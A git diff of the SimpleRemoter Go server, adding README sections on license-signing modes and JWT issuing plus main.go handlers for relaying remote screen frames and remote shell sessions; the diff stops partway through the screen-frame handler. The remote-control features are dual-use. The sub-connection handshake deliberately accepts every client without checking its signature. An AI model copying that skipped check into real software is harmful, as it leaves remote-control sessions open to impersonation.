| `YAMA_LICENSE_PUBLIC_KEY` | **[License Server 模式]** Operator 自己(已经是 LocalSigner)想顺便对外提供 License Server 时,用来验证客户提交的 JWT 的 RSA 公钥 PEM 路径。必须与 `YAMA_LICENSE_HTTP_ADDR` 同时设置。 | `./license_pub.pem` |
|
||||||
|
| `YAMA_LICENSE_HTTP_ADDR` | **[License Server 模式]** License Server HTTP 监听地址。**仅在 LocalSigner 模式下生效**(RemoteSigner 客户不能反向当 license server)。建议挂 nginx/Caddy 加 TLS 后对外。 | `:8443` |
|
||||||
|
| `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
|
||||||
|
| `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
|
||||||
|
| `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Linux/macOS
|
# Linux/macOS
|
||||||
@@ -98,8 +180,52 @@ $env:YAMA_PWD="your_super_password"
|
|||||||
.\simpleremoter-server.exe
|
.\simpleremoter-server.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 签名模式(CMD_MASTERSETTING signer)
|
||||||
|
|
||||||
|
单个 Go 二进制按启动时的环境变量自动选择三种签名模式之一。同一个 master HMAC key 永远不会出现在客户机器上 —— 这是把 Go server 商业化部署给付费客户的核心安全前提。
|
||||||
|
|
||||||
|
| 模式 | 触发条件 | 用途 |
|
||||||
|
| ---- | -------- | ---- |
|
||||||
|
| **LocalSigner** | `YAMA_SIGN_PASSWORD` 已设 | Operator 自己的部署。master HMAC key 在本机内存,签名直连 HMAC,微秒级延迟。**可选**:再设 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 让本进程同时对外提供 License Server HTTP 服务。 |
|
||||||
|
| **RemoteSigner** | `YAMA_LICENSE_SERVER` + `YAMA_LICENSE_TOKEN` 已设 | 客户部署。本机**永远看不到** master HMAC key —— 每次新设备登录会 HTTPS POST 到 operator 的 License Server,拿到签名后塞进 CMD_MASTERSETTING。同 (clientID, startTime) 元组的签名缓存 24h(可调,`YAMA_LICENSE_OFFLINE_HRS`),用于扛短暂网络故障。 |
|
||||||
|
| **NoOpSigner** | 上述都没设 | Free tier。返回空签名 → 客户端私有库拒绝启动 screen/file 功能。设备列表仍然可用。 |
|
||||||
|
|
||||||
|
注:`YAMA_SIGN_PASSWORD` 与 `YAMA_LICENSE_SERVER` 同时设置时 LocalSigner 优先(operator 自己的 server 不应该回连自己)。
|
||||||
|
|
||||||
|
### License Server endpoints(仅 LocalSigner 暴露)
|
||||||
|
|
||||||
|
设了 `YAMA_LICENSE_PUBLIC_KEY` + `YAMA_LICENSE_HTTP_ADDR` 后,本进程会监听 `YAMA_LICENSE_HTTP_ADDR` 提供两个端点:
|
||||||
|
|
||||||
|
- `POST /license/sign` — body `{"client_id":"...","start_time":"..."}`,header `Authorization: Bearer <customer-JWT>`,回 `{"signature":"<64-hex>"}`。强制按 JWT 的 `tier` + `max_devices` 配额限制。
|
||||||
|
- `POST /license/heartbeat` — body `{"active_device_count":N,"active_device_ids":["..."]}`,回 `{"server_view_count":M,"drift":N-M}`。Drift 大于阈值时记日志,供 operator 反作弊审核。
|
||||||
|
|
||||||
|
部署建议:本进程只跑 plain HTTP,前面挂 nginx/Caddy/cloudflare 加 TLS。JWT 校验已经把 `alg` 锁死成 RS256,杜绝 `alg:none` 攻击。
|
||||||
|
|
||||||
|
### 颁发客户 JWT
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 一次性生成 RSA 密钥对(私钥 operator 自己保管,公钥用于 License Server 验证)
|
||||||
|
openssl genrsa -out license_priv.pem 2048
|
||||||
|
openssl rsa -in license_priv.pem -pubout -out license_pub.pem
|
||||||
|
```
|
||||||
|
|
||||||
|
底层 API 是 `licensing.Issue(privKey, sub, tier, maxDevices, ttl)`(见 [`licensing/server.go`](licensing/server.go))。一个开箱即用的 CLI 包装在独立仓库 [`yama-issue-token`](https://git.simpleremoter.com/yuanyuanxiang/yama-issue-token)(go.mod `replace` 指向本仓库的 `licensing` 包),用法:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
yama-issue-token -priv license_priv.pem -sub acme-corp -tier paid -max 100 -days 365
|
||||||
|
```
|
||||||
|
|
||||||
|
| Tier | max_devices 默认 | 备注 |
|
||||||
|
| ---- | ---------------- | ---- |
|
||||||
|
| `trial` | 20(JWT 未指定时) | 移植 C++ 反代理 RTT 逻辑 |
|
||||||
|
| `paid` | JWT 必须显式指定 | 长 TTL token |
|
||||||
|
|
||||||
## 使用示例
|
## 使用示例
|
||||||
|
|
||||||
|
完整的 TCP + Hub + Web 集成示例就是 [`cmd/main.go`](cmd/main.go),那是程序入口本身、也是最权威的范例 —— 包含 handler 装配、hub 注册、web HTTP/WS 服务、信号优雅关闭等。
|
||||||
|
|
||||||
|
如果只想用 TCP 框架做自定义服务端(不要 Web/Hub),最小示例如下:
|
||||||
|
|
||||||
```go
|
```go
|
||||||
package main
|
package main
|
||||||
|
|
||||||
@@ -114,57 +240,32 @@ import (
|
|||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
|
||||||
)
|
)
|
||||||
|
|
||||||
// 实现 Handler 接口
|
type MyHandler struct{ log *logger.Logger }
|
||||||
type MyHandler struct {
|
|
||||||
log *logger.Logger
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *MyHandler) OnConnect(ctx *connection.Context) {
|
|
||||||
h.log.ClientEvent("online", ctx.ID, ctx.GetPeerIP())
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
|
|
||||||
h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP())
|
|
||||||
}
|
|
||||||
|
|
||||||
|
func (h *MyHandler) OnConnect(ctx *connection.Context) {}
|
||||||
|
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {}
|
||||||
func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
|
func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
|
||||||
if len(data) == 0 {
|
if len(data) == 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
cmd := data[0]
|
if data[0] == protocol.TokenLogin {
|
||||||
switch cmd {
|
|
||||||
case protocol.TokenLogin:
|
|
||||||
info, _ := protocol.ParseLoginInfo(data)
|
info, _ := protocol.ParseLoginInfo(data)
|
||||||
h.log.Info("Client login: %s (%s)", info.PCName, info.OsVerInfo)
|
h.log.Info("login: %s (%s)", info.PCName, info.OsVerInfo)
|
||||||
case protocol.TokenHeartbeat:
|
|
||||||
h.log.Debug("Heartbeat from client %d", ctx.ID)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
// 配置日志 (控制台 + 文件)
|
log := logger.New(logger.DefaultConfig())
|
||||||
logCfg := logger.DefaultConfig()
|
srv := server.New(server.DefaultConfig())
|
||||||
logCfg.File = "logs/server.log"
|
|
||||||
log := logger.New(logCfg)
|
|
||||||
|
|
||||||
// 配置服务器
|
|
||||||
config := server.DefaultConfig()
|
|
||||||
config.Port = 6543
|
|
||||||
|
|
||||||
// 创建并启动服务器
|
|
||||||
srv := server.New(config)
|
|
||||||
srv.SetLogger(log.WithPrefix("Server"))
|
srv.SetLogger(log.WithPrefix("Server"))
|
||||||
srv.SetHandler(&MyHandler{log: log})
|
srv.SetHandler(&MyHandler{log: log})
|
||||||
|
|
||||||
if err := srv.Start(); err != nil {
|
if err := srv.Start(); err != nil {
|
||||||
log.Fatal("启动失败: %v", err)
|
log.Fatal("start: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 等待退出信号
|
sig := make(chan os.Signal, 1)
|
||||||
sigChan := make(chan os.Signal, 1)
|
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
|
||||||
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
|
<-sig
|
||||||
<-sigChan
|
|
||||||
|
|
||||||
srv.Stop()
|
srv.Stop()
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
@@ -250,7 +351,7 @@ func main() {
|
|||||||
| bWebCamExist | 448 | 4 | 是否有摄像头 |
|
| bWebCamExist | 448 | 4 | 是否有摄像头 |
|
||||||
| dwSpeed | 452 | 4 | 网速 |
|
| dwSpeed | 452 | 4 | 网速 |
|
||||||
| szStartTime | 456 | 20 | 启动时间 |
|
| szStartTime | 456 | 20 | 启动时间 |
|
||||||
| szReserved | 476 | 512 | 扩展字段 (用`|`分隔) |
|
| szReserved | 476 | 512 | 扩展字段(多字段以 `\|` 分隔) |
|
||||||
|
|
||||||
### Heartbeat 结构
|
### Heartbeat 结构
|
||||||
|
|
||||||
@@ -374,15 +475,19 @@ publicIP := info.GetReservedField(11) // 公网 IP
|
|||||||
## 与 C++ 版本对比
|
## 与 C++ 版本对比
|
||||||
|
|
||||||
| 特性 | C++ (IOCP) | Go |
|
| 特性 | C++ (IOCP) | Go |
|
||||||
|------|------------|-----|
|
| ---- | ---- | ---- |
|
||||||
| 并发模型 | IOCP + 线程池 | Goroutine 池 |
|
| 并发模型 | IOCP + 线程池 | Goroutine 池 |
|
||||||
| 压缩算法 | ZSTD | ZSTD |
|
|
||||||
| 跨平台 | Windows | 全平台 |
|
| 跨平台 | Windows | 全平台 |
|
||||||
| 内存管理 | 手动 | GC |
|
| 内存管理 | 手动 | GC |
|
||||||
| 代码复杂度 | 高 | 低 |
|
| 代码复杂度 | 高 | 低 |
|
||||||
| 协议头解密 | 8种方式 | 8种方式 |
|
| 压缩 / XOR / 头加密 | 完整 8 套加密方式 + XOREncoder16 + ZSTD | 完全对齐 |
|
||||||
| XOR编码 | XOREncoder16 | XOREncoder16 |
|
| 字符编码 | GBK | UTF-8 直通 / GBK→UTF-8 (按客户端能力位) |
|
||||||
| 字符编码 | GBK | GBK -> UTF-8 |
|
| 设备列表与监控 | MFC 列表控件 | Web UI |
|
||||||
|
| Web 远程桌面 | 内嵌浏览器 + H.264 | 完全对齐(WebCodecs 解码) |
|
||||||
|
| 鼠标键盘转发 | 已实现 | 完全对齐 |
|
||||||
|
| Web 终端 | 内嵌 xterm.js + ConPTY | 完全对齐(含旧 cmd-pipe 兼容) |
|
||||||
|
| 用户 / 分组管理 | 已实现 | users.json schema 互通 |
|
||||||
|
| 文件传输 / 摄像头 / 录音 等 | 已实现 | 暂未实现(按需扩展) |
|
||||||
|
|
||||||
## 依赖
|
## 依赖
|
||||||
|
|
||||||
|
|||||||
@@ -1,19 +1,27 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/binary"
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/auth"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/auth"
|
||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/licensing"
|
||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
|
||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
||||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/web"
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
|
||||||
)
|
)
|
||||||
|
|
||||||
// MyHandler implements the server.Handler interface
|
// MyHandler implements the server.Handler interface
|
||||||
@@ -21,6 +29,8 @@ type MyHandler struct {
|
|||||||
log *logger.Logger
|
log *logger.Logger
|
||||||
auth *auth.Authenticator
|
auth *auth.Authenticator
|
||||||
srv *server.Server
|
srv *server.Server
|
||||||
|
hub *hub.Hub
|
||||||
|
signer licensing.Signer // CMD_MASTERSETTING signer (local / remote / noop)
|
||||||
}
|
}
|
||||||
|
|
||||||
// OnConnect is called when a client connects
|
// OnConnect is called when a client connects
|
||||||
@@ -30,12 +40,34 @@ func (h *MyHandler) OnConnect(ctx *connection.Context) {
|
|||||||
|
|
||||||
// OnDisconnect is called when a client disconnects
|
// OnDisconnect is called when a client disconnects
|
||||||
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
|
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
|
||||||
|
// Always clean up any sub-context mapping first — the connection may
|
||||||
|
// be a screen / terminal sub-conn rather than a main login connection.
|
||||||
|
// Both Unbind* calls are no-ops if not tracked. UnbindTerminalConn
|
||||||
|
// also fires OnTerminalClosed so the browser sees the session end on
|
||||||
|
// unexpected device-side drops.
|
||||||
|
h.hub.UnbindScreenConn(ctx)
|
||||||
|
h.hub.UnbindTerminalConn(ctx)
|
||||||
|
|
||||||
info := ctx.GetInfo()
|
info := ctx.GetInfo()
|
||||||
if info.ClientID != "" {
|
// Only treat this disconnect as a device-going-offline event if this
|
||||||
|
// ctx is the device's MAIN login connection. Phase 6 added ClientID
|
||||||
|
// pinning to sub-conns (via ConnAuth — needed for terminal routing),
|
||||||
|
// so a non-empty ClientID alone no longer distinguishes main from
|
||||||
|
// sub. Closing a screen / terminal sub-conn must NOT remove the
|
||||||
|
// device from the hub.
|
||||||
|
if info.ClientID != "" && h.hub.MainConn(info.ClientID) == ctx {
|
||||||
h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP(),
|
h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP(),
|
||||||
"clientID", info.ClientID,
|
"clientID", info.ClientID,
|
||||||
"computer", info.ComputerName,
|
"computer", info.ComputerName,
|
||||||
)
|
)
|
||||||
|
// Tear down any active sub-conn sessions BEFORE Unregister so the
|
||||||
|
// browser sees screen/terminal close events alongside the
|
||||||
|
// device-offline event, instead of frames/output continuing to
|
||||||
|
// stream from orphaned sub-conn ctxs until they time out on
|
||||||
|
// their own. Both calls no-op if there's no active session.
|
||||||
|
h.hub.CloseScreen(info.ClientID)
|
||||||
|
h.hub.CloseTerminalSession(info.ClientID)
|
||||||
|
h.hub.Unregister(info.ClientID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -45,6 +77,27 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Terminal-bound sub-conns deliver RAW shell output with no leading
|
||||||
|
// command byte — see client/ConPTYManager.cpp:328 (Send2Server with
|
||||||
|
// just the buffer). We must short-circuit BEFORE the command switch
|
||||||
|
// or the first output byte will be misinterpreted as a token.
|
||||||
|
// Exception: a length-1 packet whose byte is TOKEN_TERMINAL_CLOSE
|
||||||
|
// is the device's "shell exited" notification, NOT data.
|
||||||
|
if devID := h.hub.TerminalDeviceID(ctx); devID != "" {
|
||||||
|
if len(data) == 1 && data[0] == protocol.TokenTerminalClose {
|
||||||
|
h.log.Info("terminal closed by device=%s conn=%d", devID, ctx.ID)
|
||||||
|
h.hub.CloseTerminalSession(devID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Wrap with the 'TRM1' magic the browser uses to demultiplex
|
||||||
|
// terminal output from screen frames over the shared WS.
|
||||||
|
packet := make([]byte, 4+len(data))
|
||||||
|
copy(packet[:4], protocol.TerminalBinaryMagic[:])
|
||||||
|
copy(packet[4:], data)
|
||||||
|
h.hub.PublishTerminalData(devID, packet)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
cmd := data[0]
|
cmd := data[0]
|
||||||
// Handle commands
|
// Handle commands
|
||||||
switch cmd {
|
switch cmd {
|
||||||
@@ -54,12 +107,235 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
|
|||||||
h.handleAuth(ctx, data)
|
h.handleAuth(ctx, data)
|
||||||
case protocol.TokenHeartbeat:
|
case protocol.TokenHeartbeat:
|
||||||
h.handleHeartbeat(ctx, data)
|
h.handleHeartbeat(ctx, data)
|
||||||
|
case protocol.TokenConnAuth:
|
||||||
|
h.handleConnAuth(ctx, data)
|
||||||
|
case protocol.TokenBitmapInfo:
|
||||||
|
h.handleBitmapInfo(ctx, data)
|
||||||
|
case protocol.TokenTerminalStart:
|
||||||
|
h.handleTerminalStart(ctx, true)
|
||||||
|
case protocol.TokenShellStart:
|
||||||
|
h.handleTerminalStart(ctx, false)
|
||||||
|
case protocol.TokenTerminalClose:
|
||||||
|
// Pre-bind close (rare — device gives up before the server
|
||||||
|
// finished its half of the handshake). Best-effort cleanup.
|
||||||
|
if devID := h.deviceIDOfSubConn(ctx); devID != "" {
|
||||||
|
h.log.Info("pre-bind terminal close: device=%s conn=%d", devID, ctx.ID)
|
||||||
|
h.hub.CloseTerminalSession(devID)
|
||||||
|
}
|
||||||
|
case protocol.TokenFirstScreen:
|
||||||
|
// TOKEN_FIRSTSCREEN delivers a RAW BGRA baseline frame, not an
|
||||||
|
// H264 unit — bytes ≈ width × height × 4. The C++ MFC dialog
|
||||||
|
// blits it directly into a DIB; web viewers only consume H264 NAL
|
||||||
|
// data, so dropping it here is correct. The first real H264 IDR
|
||||||
|
// arrives shortly after via TOKEN_NEXTSCREEN.
|
||||||
|
case protocol.TokenNextScreen:
|
||||||
|
h.handleScreenFrame(ctx, data, false)
|
||||||
|
case protocol.TokenKeyframe:
|
||||||
|
// Sent by the client only when frameID % m_GOP == 0; the client's
|
||||||
|
// DEFAULT_GOP is 0x7FFFFFFF (effectively infinite), so this token
|
||||||
|
// is essentially unused in practice. Treat as a no-op for now —
|
||||||
|
// IDRs always arrive in-band via TOKEN_NEXTSCREEN and we catch
|
||||||
|
// them via the H264 NAL scan in handleScreenFrame.
|
||||||
|
case protocol.CmdCursorImage:
|
||||||
|
// Custom cursor bitmaps — relayed in Phase 5+ when the web cursor
|
||||||
|
// overlay learns to render arbitrary BGRA images. Drop silently for
|
||||||
|
// now; the standard IDC_* index (data[10] of every frame header) is
|
||||||
|
// what we actually use right now.
|
||||||
default:
|
default:
|
||||||
// Other commands are not implemented yet
|
// Other commands are not implemented yet
|
||||||
h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
|
h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// handleConnAuth answers a sub-connection identity handshake. Every sub-conn
|
||||||
|
// the client opens (screen, terminal, file, ...) sends a 512-byte
|
||||||
|
// ConnAuthPacket as its very first payload and blocks for up to 10 s waiting
|
||||||
|
// on our 256-byte ConnAuthAck. Without an OK reply the client closes the
|
||||||
|
// connection, so a missing ack here means nothing else can proceed.
|
||||||
|
//
|
||||||
|
// The handshake includes an HMAC signature field. The reference server
|
||||||
|
// treats verification failures as soft (logs and still allows commands),
|
||||||
|
// and the signing primitive lives in a vendored component out of scope
|
||||||
|
// for this server, so we always reply OK and let TOKEN_BITMAPINFO carry
|
||||||
|
// the device ID via offset 41 when the screen sub-conn proceeds.
|
||||||
|
func (h *MyHandler) handleConnAuth(ctx *connection.Context, data []byte) {
|
||||||
|
// Pin the parent device's ClientID onto the sub-conn. Without this,
|
||||||
|
// later 1-byte tokens (TOKEN_TERMINAL_START / TOKEN_SHELL_START) have
|
||||||
|
// no way to identify which device they belong to — they carry no
|
||||||
|
// clientID themselves. ConnAuthPacket layout has clientID at offset 1
|
||||||
|
// (uint64 LE); see common/commands.h::ConnAuthPacket.
|
||||||
|
if len(data) >= protocol.ConnAuthOffClientID+8 {
|
||||||
|
clientID := binary.LittleEndian.Uint64(
|
||||||
|
data[protocol.ConnAuthOffClientID : protocol.ConnAuthOffClientID+8])
|
||||||
|
if clientID != 0 {
|
||||||
|
// Sub-conns never go through handleLogin, so their ctx.Info
|
||||||
|
// is otherwise empty. We only need ClientID for routing.
|
||||||
|
info := ctx.GetInfo()
|
||||||
|
info.ClientID = strconv.FormatUint(clientID, 10)
|
||||||
|
ctx.SetInfo(info)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ack := make([]byte, protocol.ConnAuthAckSize)
|
||||||
|
ack[0] = protocol.TokenConnAuth
|
||||||
|
ack[protocol.ConnAuthAckOffStatus] = protocol.ConnAuthStatusOK
|
||||||
|
binary.LittleEndian.PutUint64(
|
||||||
|
ack[protocol.ConnAuthAckOffServerTime:protocol.ConnAuthAckOffServerTime+8],
|
||||||
|
uint64(time.Now().Unix()))
|
||||||
|
if err := h.srv.Send(ctx, ack); err != nil {
|
||||||
|
h.log.Error("ConnAuth ack send failed for conn=%d: %v", ctx.ID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// deviceIDOfSubConn resolves the parent device of a sub-conn from the
|
||||||
|
// ClientID pinned by handleConnAuth. Returns "" for the rare case of a
|
||||||
|
// legacy client that skipped ConnAuth (the Go server's only target is
|
||||||
|
// modern clients, so this is effectively a paranoia check).
|
||||||
|
func (h *MyHandler) deviceIDOfSubConn(ctx *connection.Context) string {
|
||||||
|
return ctx.GetInfo().ClientID
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleTerminalStart fires when the device's freshly-spawned shell
|
||||||
|
// sub-conn announces itself. TOKEN_TERMINAL_START (232) means PTY mode
|
||||||
|
// (Linux/macOS or Windows ConPTY); TOKEN_SHELL_START (128) means the
|
||||||
|
// legacy Windows cmd-pipe path. Both packets are 1-byte tokens — the
|
||||||
|
// device identity comes from ConnAuth's pinned ClientID.
|
||||||
|
//
|
||||||
|
// After binding we send:
|
||||||
|
// - For PTY only: an initial CMD_TERMINAL_RESIZE 80x24 so the shell
|
||||||
|
// doesn't render at the PTY default before the browser's first fit.
|
||||||
|
// vim/htop look broken otherwise. The browser will follow up with a
|
||||||
|
// real term_resize once xterm.js sizes the canvas.
|
||||||
|
// - Always: COMMAND_NEXT to unblock the device's read thread (the
|
||||||
|
// ConPTYManager ReadThread sits on m_hEventDlgOpen until then —
|
||||||
|
// see client/ConPTYManager.cpp:259).
|
||||||
|
func (h *MyHandler) handleTerminalStart(ctx *connection.Context, isPTY bool) {
|
||||||
|
devID := h.deviceIDOfSubConn(ctx)
|
||||||
|
if devID == "" {
|
||||||
|
h.log.Warn("terminal start with no clientID: conn=%d", ctx.ID)
|
||||||
|
ctx.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !h.hub.BindTerminalConn(devID, ctx, isPTY) {
|
||||||
|
// No pending session — this is a stale sub-conn (e.g. browser
|
||||||
|
// gave up and closed term_close already). Drop it.
|
||||||
|
h.log.Warn("orphan terminal sub-conn: device=%s conn=%d isPTY=%v",
|
||||||
|
devID, ctx.ID, isPTY)
|
||||||
|
ctx.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if isPTY {
|
||||||
|
if err := h.srv.Send(ctx, protocol.BuildTerminalResize(80, 24)); err != nil {
|
||||||
|
h.log.Error("initial resize send failed: conn=%d: %v", ctx.ID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := h.srv.Send(ctx, []byte{protocol.CommandNext}); err != nil {
|
||||||
|
h.log.Error("COMMAND_NEXT send failed on terminal: conn=%d: %v", ctx.ID, err)
|
||||||
|
}
|
||||||
|
h.log.Info("terminal bound: device=%s conn=%d isPTY=%v", devID, ctx.ID, isPTY)
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleBitmapInfo is the first packet on a freshly-arrived screen
|
||||||
|
// sub-connection. Packet layout (after the command byte at data[0]):
|
||||||
|
//
|
||||||
|
// [BITMAPINFOHEADER:40][clientID:8 uint64 LE][dlgID:8 uint64 LE][...]
|
||||||
|
//
|
||||||
|
// So clientID lives at data[41..49] and dlgID at data[49..57]. We use
|
||||||
|
// clientID (= MasterID) to bind this sub-context to its parent device.
|
||||||
|
func (h *MyHandler) handleBitmapInfo(ctx *connection.Context, data []byte) {
|
||||||
|
if len(data) < 49 {
|
||||||
|
h.log.Warn("TOKEN_BITMAPINFO from conn %d too short (%d bytes)", ctx.ID, len(data))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
clientID := uint64(data[41]) | uint64(data[42])<<8 | uint64(data[43])<<16 | uint64(data[44])<<24 |
|
||||||
|
uint64(data[45])<<32 | uint64(data[46])<<40 | uint64(data[47])<<48 | uint64(data[48])<<56
|
||||||
|
deviceID := strconv.FormatUint(clientID, 10)
|
||||||
|
|
||||||
|
if !h.hub.BindScreenConn(deviceID, ctx) {
|
||||||
|
// Device not registered — main login hasn't happened (or device just
|
||||||
|
// went offline). Drop the orphan sub-conn rather than leak it.
|
||||||
|
h.log.Warn("orphan screen sub-conn %d for unknown device %s; closing", ctx.ID, deviceID)
|
||||||
|
ctx.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// BITMAPINFOHEADER starts at data[1]. biWidth at offset 4, biHeight at
|
||||||
|
// offset 8 (both int32 LE). biHeight may be negative for top-down DIBs.
|
||||||
|
width := int(int32(binary.LittleEndian.Uint32(data[5:9])))
|
||||||
|
height := int(int32(binary.LittleEndian.Uint32(data[9:13])))
|
||||||
|
if height < 0 {
|
||||||
|
height = -height
|
||||||
|
}
|
||||||
|
|
||||||
|
h.log.Info("screen sub-conn bound: conn=%d device=%s resolution=%dx%d",
|
||||||
|
ctx.ID, deviceID, width, height)
|
||||||
|
h.hub.PublishResolution(deviceID, width, height)
|
||||||
|
|
||||||
|
// Notify the client its "dialog is open" so it stops blocking in
|
||||||
|
// Manager::WaitForDialogOpen (client/Manager.cpp:259). Without this
|
||||||
|
// the client waits a full 8 s timeout before it begins streaming
|
||||||
|
// real H264 frames via TOKEN_NEXTSCREEN. 32-byte packet matches the
|
||||||
|
// C++ CScreenSpyDlg::SendNext layout:
|
||||||
|
// [0]=COMMAND_NEXT [1..9]=dlgID uint64 [9..13]=capabilities uint32
|
||||||
|
// [13..17]=scrollInterval int32 [17..32]=zero reserved
|
||||||
|
// We don't need scroll-detect / a real dlgID, so leave them zero.
|
||||||
|
nextCmd := make([]byte, 32)
|
||||||
|
nextCmd[0] = protocol.CommandNext
|
||||||
|
if err := h.srv.Send(ctx, nextCmd); err != nil {
|
||||||
|
h.log.Error("COMMAND_NEXT send failed for conn=%d: %v", ctx.ID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleScreenFrame relays one TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN packet
|
||||||
|
// to all browsers watching this device. The on-the-wire packet starts with
|
||||||
|
// the token byte then a small fixed header (algorithm, cursor pos, cursor
|
||||||
|
// index) before the video payload (H.264 Annex B or AV1 OBU). The browser-
|
||||||
|
// facing WS packet uses the C++-compatible layout:
|
||||||
|
// [deviceID:4 LE][frameType:1][dataLen:4 LE][Video:N].
|
||||||
|
//
|
||||||
|
// alwaysKey=true is used for TOKEN_FIRSTSCREEN (always IDR by construction);
|
||||||
|
// TOKEN_NEXTSCREEN keyframe detection is delegated to protocol.IsAnyKeyframe
|
||||||
|
// which sniffs the codec from the first byte (0x00 → H.264, else AV1).
|
||||||
|
func (h *MyHandler) handleScreenFrame(ctx *connection.Context, data []byte, alwaysKey bool) {
|
||||||
|
deviceID := h.hub.ScreenDeviceID(ctx)
|
||||||
|
if deviceID == "" {
|
||||||
|
return // not a bound screen sub-conn — drop
|
||||||
|
}
|
||||||
|
// data[0] is the token; the 11-byte header sits at data[1..12].
|
||||||
|
const skip = 1 + protocol.ScreenFrameHeaderLen
|
||||||
|
if len(data) <= skip {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Cursor index lives at the last byte of the small per-frame header
|
||||||
|
// (offset 1 + 1 + 8 = 10). Publish before the heavy frame work so the
|
||||||
|
// browser sees cursor updates even if we end up dropping frames later.
|
||||||
|
h.hub.PublishCursor(deviceID, data[10])
|
||||||
|
|
||||||
|
video := data[skip:]
|
||||||
|
// 按首字节嗅探 H.264 / AV1,分发到对应的 keyframe 探测器。浏览器侧用同样方式
|
||||||
|
// 决定 VideoDecoder codec string,因此 server 不必感知客户端实际编码器。
|
||||||
|
isKey := alwaysKey || protocol.IsAnyKeyframe(video)
|
||||||
|
|
||||||
|
// Build the WS packet exactly as the C++ ScreenSpyDlg does — the front-end
|
||||||
|
// decoder reads these offsets directly.
|
||||||
|
id64, _ := strconv.ParseUint(deviceID, 10, 64)
|
||||||
|
idLow := uint32(id64)
|
||||||
|
frameType := byte(0)
|
||||||
|
if isKey {
|
||||||
|
frameType = 1
|
||||||
|
}
|
||||||
|
dataLen := uint32(len(video))
|
||||||
|
|
||||||
|
